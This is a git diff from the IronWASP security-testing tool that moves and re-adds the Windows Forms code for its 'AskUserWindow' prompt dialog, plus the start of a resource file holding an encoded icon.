this.AskUserRightSplit.Panel2.ResumeLayout(false); - this.AskUserRightSplit.Panel2.PerformLayout(); - this.AskUserRightSplit.ResumeLayout(false); - ((System.ComponentModel.ISupportInitialize)(this.AskUserPB)).EndInit(); - ((System.ComponentModel.ISupportInitialize)(this.AskUserAnswerGrid)).EndInit(); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.SplitContainer AskUserBaseSplit; - private System.Windows.Forms.SplitContainer AskUserRightSplit; - internal System.Windows.Forms.TextBox AskUserAnswerTB; - internal System.Windows.Forms.PictureBox AskUserPB; - internal System.Windows.Forms.Button AskUserYesBtn; - internal System.Windows.Forms.Button AskUserNoBtn; - internal System.Windows.Forms.Button AskUserSubmitBtn; - internal System.Windows.Forms.RichTextBox AskUserMessageRTB; - internal System.Windows.Forms.DataGridView AskUserAnswerGrid; - private System.Windows.Forms.DataGridViewCheckBoxColumn AskUserGridCheckColumn; - private System.Windows.Forms.DataGridViewTextBoxColumn AskUserGridValueColumn; - internal System.Windows.Forms.RadioButton AskUserAnswerRBOne; - internal System.Windows.Forms.RadioButton AskUserAnswerRBTwo; - internal System.Windows.Forms.Label AskUserAnswerLbl; - } +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +namespace IronWASP +{ + partial class AskUserWindow + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(AskUserWindow)); + this.AskUserBaseSplit = new System.Windows.Forms.SplitContainer(); + this.AskUserMessageRTB = new System.Windows.Forms.RichTextBox(); + this.AskUserRightSplit = new System.Windows.Forms.SplitContainer(); + this.AskUserPB = new System.Windows.Forms.PictureBox(); + this.AskUserAnswerLbl = new System.Windows.Forms.Label(); + this.AskUserAnswerRBTwo = new System.Windows.Forms.RadioButton(); + this.AskUserAnswerRBOne = new System.Windows.Forms.RadioButton(); + this.AskUserAnswerGrid = new System.Windows.Forms.DataGridView(); + this.AskUserGridCheckColumn = new System.Windows.Forms.DataGridViewCheckBoxColumn(); + this.AskUserGridValueColumn = new System.Windows.Forms.DataGridViewTextBoxColumn(); + this.AskUserSubmitBtn = new System.Windows.Forms.Button(); + this.AskUserNoBtn = new System.Windows.Forms.Button(); + this.AskUserYesBtn = new System.Windows.Forms.Button(); + this.AskUserAnswerTB = new System.Windows.Forms.TextBox(); + this.AskUserBaseSplit.Panel1.SuspendLayout(); + this.AskUserBaseSplit.Panel2.SuspendLayout(); + this.AskUserBaseSplit.SuspendLayout(); + this.AskUserRightSplit.Panel1.SuspendLayout(); + this.AskUserRightSplit.Panel2.SuspendLayout(); + this.AskUserRightSplit.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.AskUserPB)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.AskUserAnswerGrid)).BeginInit(); + this.SuspendLayout(); + // + // AskUserBaseSplit + // + this.AskUserBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.AskUserBaseSplit.Location = new System.Drawing.Point(0, 0); + this.AskUserBaseSplit.Name = "AskUserBaseSplit"; + this.AskUserBaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // AskUserBaseSplit.Panel1 + // + this.AskUserBaseSplit.Panel1.Controls.Add(this.AskUserMessageRTB); + // + // AskUserBaseSplit.Panel2 + // + this.AskUserBaseSplit.Panel2.Controls.Add(this.AskUserRightSplit); + this.AskUserBaseSplit.Size = new System.Drawing.Size(784, 312); + this.AskUserBaseSplit.SplitterDistance = 151; + this.AskUserBaseSplit.SplitterWidth = 2; + this.AskUserBaseSplit.TabIndex = 0; + // + // AskUserMessageRTB + // + this.AskUserMessageRTB.BackColor = System.Drawing.Color.White; + this.AskUserMessageRTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.AskUserMessageRTB.DetectUrls = false; + this.AskUserMessageRTB.Dock = System.Windows.Forms.DockStyle.Fill; + this.AskUserMessageRTB.Location = new System.Drawing.Point(0, 0); + this.AskUserMessageRTB.Name = "AskUserMessageRTB"; + this.AskUserMessageRTB.ReadOnly = true; + this.AskUserMessageRTB.Size = new System.Drawing.Size(784, 151); + this.AskUserMessageRTB.TabIndex = 0; + this.AskUserMessageRTB.Text = ""; + // + // AskUserRightSplit + // + this.AskUserRightSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.AskUserRightSplit.Location = new System.Drawing.Point(0, 0); + this.AskUserRightSplit.Name = "AskUserRightSplit"; + // + // AskUserRightSplit.Panel1 + // + this.AskUserRightSplit.Panel1.Controls.Add(this.AskUserPB); + // + // AskUserRightSplit.Panel2 + // + this.AskUserRightSplit.Panel2.Controls.Add(this.AskUserAnswerLbl); + this.AskUserRightSplit.Panel2.Controls.Add(this.AskUserAnswerRBTwo); + this.AskUserRightSplit.Panel2.Controls.Add(this.AskUserAnswerRBOne); + this.AskUserRightSplit.Panel2.Controls.Add(this.AskUserAnswerGrid); + this.AskUserRightSplit.Panel2.Controls.Add(this.AskUserSubmitBtn); + this.AskUserRightSplit.Panel2.Controls.Add(this.AskUserNoBtn); + this.AskUserRightSplit.Panel2.Controls.Add(this.AskUserYesBtn); + this.AskUserRightSplit.Panel2.Controls.Add(this.AskUserAnswerTB); + this.AskUserRightSplit.Size = new System.Drawing.Size(784, 159); + this.AskUserRightSplit.SplitterDistance = 385; + this.AskUserRightSplit.SplitterWidth = 2; + this.AskUserRightSplit.TabIndex = 0; + // + // AskUserPB + // + this.AskUserPB.Dock = System.Windows.Forms.DockStyle.Fill; + this.AskUserPB.Location = new System.Drawing.Point(0, 0); + this.AskUserPB.Name = "AskUserPB"; + this.AskUserPB.Size = new System.Drawing.Size(385, 159); + this.AskUserPB.TabIndex = 0; + this.AskUserPB.TabStop = false; + // + // AskUserAnswerLbl + // + this.AskUserAnswerLbl.AutoSize = true; + this.AskUserAnswerLbl.Location = new System.Drawing.Point(0, 44); + this.AskUserAnswerLbl.Margin = new System.Windows.Forms.Padding(0); + this.AskUserAnswerLbl.Name = "AskUserAnswerLbl"; + this.AskUserAnswerLbl.Size = new System.Drawing.Size(96, 13); + this.AskUserAnswerLbl.TabIndex = 7; + this.AskUserAnswerLbl.Text = "AskUserAnswerLbl"; + // + // AskUserAnswerRBTwo + // + this.AskUserAnswerRBTwo.AutoSize = true; + this.AskUserAnswerRBTwo.Location = new System.Drawing.Point(0, 22); + this.AskUserAnswerRBTwo.Name = "AskUserAnswerRBTwo"; + this.AskUserAnswerRBTwo.Size = new System.Drawing.Size(46, 17); + this.AskUserAnswerRBTwo.TabIndex = 6; + this.AskUserAnswerRBTwo.TabStop = true; + this.AskUserAnswerRBTwo.Text = "Two"; + this.AskUserAnswerRBTwo.UseVisualStyleBackColor = true; + this.AskUserAnswerRBTwo.Click += new System.EventHandler(this.AskUserAnswerRBTwo_Click); + // + // AskUserAnswerRBOne + // + this.AskUserAnswerRBOne.AutoSize = true; + this.AskUserAnswerRBOne.Location = new System.Drawing.Point(0, 2); + this.AskUserAnswerRBOne.Margin = new System.Windows.Forms.Padding(0); + this.AskUserAnswerRBOne.Name = "AskUserAnswerRBOne"; + this.AskUserAnswerRBOne.Size = new System.Drawing.Size(45, 17); + this.AskUserAnswerRBOne.TabIndex = 5; + this.AskUserAnswerRBOne.TabStop = true; + this.AskUserAnswerRBOne.Text = "One"; + this.AskUserAnswerRBOne.UseVisualStyleBackColor = true; + // + // AskUserAnswerGrid + // + this.AskUserAnswerGrid.AllowUserToAddRows = false; + this.AskUserAnswerGrid.AllowUserToDeleteRows = false; + this.AskUserAnswerGrid.AllowUserToResizeColumns = false; + this.AskUserAnswerGrid.AllowUserToResizeRows = false; + this.AskUserAnswerGrid.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.AskUserAnswerGrid.BackgroundColor = System.Drawing.Color.White; + this.AskUserAnswerGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.AskUserAnswerGrid.ColumnHeadersVisible = false; + this.AskUserAnswerGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.AskUserGridCheckColumn, + this.AskUserGridValueColumn}); + this.AskUserAnswerGrid.Location = new System.Drawing.Point(0, 57); + this.AskUserAnswerGrid.Margin = new System.Windows.Forms.Padding(0); + this.AskUserAnswerGrid.MultiSelect = false; + this.AskUserAnswerGrid.Name = "AskUserAnswerGrid"; + this.AskUserAnswerGrid.RowHeadersVisible = false; + this.AskUserAnswerGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.AskUserAnswerGrid.Size = new System.Drawing.Size(397, 67); + this.AskUserAnswerGrid.TabIndex = 4; + this.AskUserAnswerGrid.CellContentClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.AskUserAnswerGrid_CellContentClick); + // + // AskUserGridCheckColumn + // + this.AskUserGridCheckColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCellsExceptHeader; + this.AskUserGridCheckColumn.HeaderText = ""; + this.AskUserGridCheckColumn.Name = "AskUserGridCheckColumn"; + this.AskUserGridCheckColumn.Width = 5; + // + // AskUserGridValueColumn + // + this.AskUserGridValueColumn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.AskUserGridValueColumn.HeaderText = ""; + this.AskUserGridValueColumn.Name = "AskUserGridValueColumn"; + this.AskUserGridValueColumn.ReadOnly = true; + // + // AskUserSubmitBtn + // + this.AskUserSubmitBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.AskUserSubmitBtn.Location = new System.Drawing.Point(316, 133); + this.AskUserSubmitBtn.Name = "AskUserSubmitBtn"; + this.AskUserSubmitBtn.Size = new System.Drawing.Size(75, 23); + this.AskUserSubmitBtn.TabIndex = 3; + this.AskUserSubmitBtn.Text = "Submit"; + this.AskUserSubmitBtn.UseVisualStyleBackColor = true; + this.AskUserSubmitBtn.Click += new System.EventHandler(this.AskUserSubmitBtn_Click); + // + // AskUserNoBtn + // + this.AskUserNoBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.AskUserNoBtn.Location = new System.Drawing.Point(232, 133); + this.AskUserNoBtn.Name = "AskUserNoBtn"; + this.AskUserNoBtn.Size = new System.Drawing.Size(75, 23); + this.AskUserNoBtn.TabIndex = 2; + this.AskUserNoBtn.Text = "No"; + this.AskUserNoBtn.UseVisualStyleBackColor = true; + this.AskUserNoBtn.Click += new System.EventHandler(this.AskUserNoBtn_Click); + // + // AskUserYesBtn + // + this.AskUserYesBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); + this.AskUserYesBtn.Location = new System.Drawing.Point(149, 133); + this.AskUserYesBtn.Name = "AskUserYesBtn"; + this.AskUserYesBtn.Size = new System.Drawing.Size(75, 23); + this.AskUserYesBtn.TabIndex = 1; + this.AskUserYesBtn.Text = "Yes"; + this.AskUserYesBtn.UseVisualStyleBackColor = true; + this.AskUserYesBtn.Click += new System.EventHandler(this.AskUserYesBtn_Click); + // + // AskUserAnswerTB + // + this.AskUserAnswerTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.AskUserAnswerTB.BackColor = System.Drawing.Color.White; + this.AskUserAnswerTB.Location = new System.Drawing.Point(0, 0); + this.AskUserAnswerTB.Margin = new System.Windows.Forms.Padding(0); + this.AskUserAnswerTB.MaxLength = 2147483647; + this.AskUserAnswerTB.Multiline = true; + this.AskUserAnswerTB.Name = "AskUserAnswerTB"; + this.AskUserAnswerTB.ScrollBars = System.Windows.Forms.ScrollBars.Both; + this.AskUserAnswerTB.Size = new System.Drawing.Size(397, 129); + this.AskUserAnswerTB.TabIndex = 0; + // + // AskUserWindow + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(784, 312); + this.Controls.Add(this.AskUserBaseSplit); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Location = new System.Drawing.Point(50, 50); + this.Name = "AskUserWindow"; + this.StartPosition = System.Windows.Forms.FormStartPosition.Manual; + this.Text = "0/0"; + this.TopMost = true; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.AskUserWindow_FormClosing); + this.AskUserBaseSplit.Panel1.ResumeLayout(false); + this.AskUserBaseSplit.Panel2.ResumeLayout(false); + this.AskUserBaseSplit.ResumeLayout(false); + this.AskUserRightSplit.Panel1.ResumeLayout(false); + this.AskUserRightSplit.Panel2.ResumeLayout(false); + this.AskUserRightSplit.Panel2.PerformLayout(); + this.AskUserRightSplit.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.AskUserPB)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.AskUserAnswerGrid)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.SplitContainer AskUserBaseSplit; + private System.Windows.Forms.SplitContainer AskUserRightSplit; + internal System.Windows.Forms.TextBox AskUserAnswerTB; + internal System.Windows.Forms.PictureBox AskUserPB; + internal System.Windows.Forms.Button AskUserYesBtn; + internal System.Windows.Forms.Button AskUserNoBtn; + internal System.Windows.Forms.Button AskUserSubmitBtn; + internal System.Windows.Forms.RichTextBox AskUserMessageRTB; + internal System.Windows.Forms.DataGridView AskUserAnswerGrid; + private System.Windows.Forms.DataGridViewCheckBoxColumn AskUserGridCheckColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn AskUserGridValueColumn; + internal System.Windows.Forms.RadioButton AskUserAnswerRBOne; + internal System.Windows.Forms.RadioButton AskUserAnswerRBTwo; + internal System.Windows.Forms.Label AskUserAnswerLbl; + } } \ No newline at end of file diff --git a/IronWASP/AskUserWindow.cs b/Iron/AskUserWindow.cs similarity index 97% rename from IronWASP/AskUserWindow.cs rename to Iron/AskUserWindow.cs index 43be164..7cd8a11 100644 --- a/IronWASP/AskUserWindow.cs +++ b/Iron/AskUserWindow.cs @@ -1,122 +1,122 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see . -// - -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Text; -using System.Windows.Forms; - -namespace IronWASP -{ - public partial class AskUserWindow : Form - { - public AskUserWindow() - { - InitializeComponent(); - } - - private void AskUserYesBtn_Click(object sender, EventArgs e) - { - AskUser.CurrentlyAsked.BoolAnswer = true; - AskUser.CurrentlyAsked.MSR.Set(); - IronUI.AskUserAnswered(); - } - - private void AskUserNoBtn_Click(object sender, EventArgs e) - { - AskUser.CurrentlyAsked.BoolAnswer = false; - AskUser.CurrentlyAsked.MSR.Set(); - IronUI.AskUserAnswered(); - } - - private void AskUserSubmitBtn_Click(object sender, EventArgs e) - { - if (AskUser.CurrentlyAsked.ReturnType.Equals("String")) - { - AskUser.CurrentlyAsked.StringAnswer = AskUserAnswerTB.Text; - } - else - { - List Answer = new List(); - if (AskUserAnswerRBOne.Visible) - { - if(AskUserAnswerRBOne.Checked) - Answer.Add(1); - else - Answer.Add(0); - if (AskUserAnswerRBTwo.Checked) - Answer.Add(1); - else - Answer.Add(0); - } - foreach (DataGridViewRow Row in IronUI.AUW.AskUserAnswerGrid.Rows) - { - if ((bool)Row.Cells[0].Value) Answer.Add(Row.Index); - } - if (AskUserAnswerRBOne.Visible && Answer.Count > 2) - { - Answer[0] = 1; - Answer[1] = 0; - } - AskUser.CurrentlyAsked.ListAnswer = new List(Answer); - } - AskUser.CurrentlyAsked.MSR.Set(); - IronUI.AskUserAnswered(); - } - - private void AskUserAnswerGrid_CellContentClick(object sender, DataGridViewCellEventArgs e) - { - if (e.ColumnIndex == 0 && AskUserAnswerRBOne.Visible == true) - { - if (!(bool)AskUserAnswerGrid.Rows[e.RowIndex].Cells[0].Value) - { - AskUserAnswerRBOne.Checked = true; - AskUserSubmitBtn.Focus(); - return; - } - foreach (DataGridViewRow Row in AskUserAnswerGrid.Rows) - { - if ((bool)Row.Cells[0].Value && Row.Index != e.RowIndex) - { - AskUserAnswerRBOne.Checked = true; - AskUserSubmitBtn.Focus(); - return; - } - } - AskUserAnswerRBTwo.Checked = true; - AskUserSubmitBtn.Focus(); - } - } - - private void AskUserAnswerRBTwo_Click(object sender, EventArgs e) - { - foreach (DataGridViewRow Row in AskUserAnswerGrid.Rows) - { - Row.Cells[0].Value = false; - } - } - - private void AskUserWindow_FormClosing(object sender, FormClosingEventArgs e) - { - e.Cancel = true; - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see . +// + +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; + +namespace IronWASP +{ + public partial class AskUserWindow : Form + { + public AskUserWindow() + { + InitializeComponent(); + } + + private void AskUserYesBtn_Click(object sender, EventArgs e) + { + AskUser.CurrentlyAsked.BoolAnswer = true; + AskUser.CurrentlyAsked.MSR.Set(); + IronUI.AskUserAnswered(); + } + + private void AskUserNoBtn_Click(object sender, EventArgs e) + { + AskUser.CurrentlyAsked.BoolAnswer = false; + AskUser.CurrentlyAsked.MSR.Set(); + IronUI.AskUserAnswered(); + } + + private void AskUserSubmitBtn_Click(object sender, EventArgs e) + { + if (AskUser.CurrentlyAsked.ReturnType.Equals("String")) + { + AskUser.CurrentlyAsked.StringAnswer = AskUserAnswerTB.Text; + } + else + { + List Answer = new List(); + if (AskUserAnswerRBOne.Visible) + { + if(AskUserAnswerRBOne.Checked) + Answer.Add(1); + else + Answer.Add(0); + if (AskUserAnswerRBTwo.Checked) + Answer.Add(1); + else + Answer.Add(0); + } + foreach (DataGridViewRow Row in IronUI.AUW.AskUserAnswerGrid.Rows) + { + if ((bool)Row.Cells[0].Value) Answer.Add(Row.Index); + } + if (AskUserAnswerRBOne.Visible && Answer.Count > 2) + { + Answer[0] = 1; + Answer[1] = 0; + } + AskUser.CurrentlyAsked.ListAnswer = new List(Answer); + } + AskUser.CurrentlyAsked.MSR.Set(); + IronUI.AskUserAnswered(); + } + + private void AskUserAnswerGrid_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex == 0 && AskUserAnswerRBOne.Visible == true) + { + if (!(bool)AskUserAnswerGrid.Rows[e.RowIndex].Cells[0].Value) + { + AskUserAnswerRBOne.Checked = true; + AskUserSubmitBtn.Focus(); + return; + } + foreach (DataGridViewRow Row in AskUserAnswerGrid.Rows) + { + if ((bool)Row.Cells[0].Value && Row.Index != e.RowIndex) + { + AskUserAnswerRBOne.Checked = true; + AskUserSubmitBtn.Focus(); + return; + } + } + AskUserAnswerRBTwo.Checked = true; + AskUserSubmitBtn.Focus(); + } + } + + private void AskUserAnswerRBTwo_Click(object sender, EventArgs e) + { + foreach (DataGridViewRow Row in AskUserAnswerGrid.Rows) + { + Row.Cells[0].Value = false; + } + } + + private void AskUserWindow_FormClosing(object sender, FormClosingEventArgs e) + { + e.Cancel = true; + } + } +} diff --git a/Iron/AskUserWindow.resx b/Iron/AskUserWindow.resx new file mode 100644 index 0000000..6249ffb --- /dev/null +++ b/Iron/AskUserWindow.resx @@ -0,0 +1,1924 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + + + 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 + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwHRl0/M0ZdPqtGXT6rRl0/M0ZdPAQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPU9GXT//Rl0+q0ZdPqtGX + T//Rl09SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGXTwPRl0/V0ZdP/9GX + T6rRl0+q0ZdP/9GXT9TRl08DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPXdGX + T//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT1wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + TwXRl0/c0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP3NGXTwUAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA0ZdPZ9GXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GXT//Rl0//0ZdPZwAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAANGXTwjRl0/j0ZdP/9GXT//Rl0//0ZdPqtGXT6rRl0//0ZdP/9GXT//Rl0/j0ZdPCAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA0ZdPPdGXT//Rl0//0ZdP/9GXT//Rl0+q0ZdPqtGXT//Rl0//0ZdP/9GX + T//Rl089AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEtLSxNNTEtR0ZdP0tGXT//Rl0//0ZdP/9GXT6rRl0+q0ZdP/9GX + T//Rl0//0ZdP0U1MS1JLS0sSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + 